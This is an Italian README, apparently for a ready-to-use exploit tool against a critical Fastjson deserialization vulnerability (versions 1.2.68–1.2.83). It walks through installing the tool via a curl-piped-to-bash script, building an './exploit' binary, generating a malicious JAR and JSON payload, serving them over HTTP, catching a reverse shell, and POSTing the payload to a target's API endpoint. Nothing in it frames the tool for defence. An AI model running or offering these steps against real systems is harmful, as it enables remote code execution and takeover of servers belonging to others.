
Una vulnerabilità critica che colpisce le versioni di Fastjson 1.2.68 – 1.2.83.
Linux (o WSL su Windows)
Compilatore compatibile con C++17 (GCC 7+ o Clang 5+)
CMake 3.10 o successivo
Pacchetti di sistema:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
Installa tutto con un singolo comando:
curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash
Oppure scarica ed esegui manualmente l'installer:
wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
Lo script di installazione:
Installerà tutti i pacchetti di sistema richiesti.
Scaricherà le librerie header-only richieste:
nlohmann/jsoncpp-httplibCompilerà il progetto.
Inserirà il binario compilato nella directory corrente come:
./exploit
Se hai clonato il repository:
git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
Oppure compila manualmente:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
Esegui il binario:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
Dopo l'esecuzione verranno creati i seguenti file:
x
body.json
Il server HTTP si avvierà sulla porta configurata (predefinita: 8000) e lo strumento attenderà una connessione reverse shell in entrata.
Invia il file body.json generato all'endpoint vulnerabile:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
Se l'applicazione prevede un campo JSON diverso, specificarlo usando l'opzione --field.
| File | Descrizione |
|---|---|
x | Payload JAR generato |
body.json | Payload JSON da inviare al target |
jar:http e jar:file.| Opzione | Descrizione | Predefinito |
|---|
--lhost | Indirizzo IP locale | Obbligatorio |
--lport | Porta di ascolto della reverse shell | 4444 |
--http-port | Porta del server HTTP | 8000 |
--first | Primo descrittore di file da provare | 3 |
--last | Ultimo descrittore di file da provare | 30 |
--field | Nome del campo JSON | facets |
--outdir | Directory di output | . |
-h, --help | Mostra il messaggio di aiuto | — |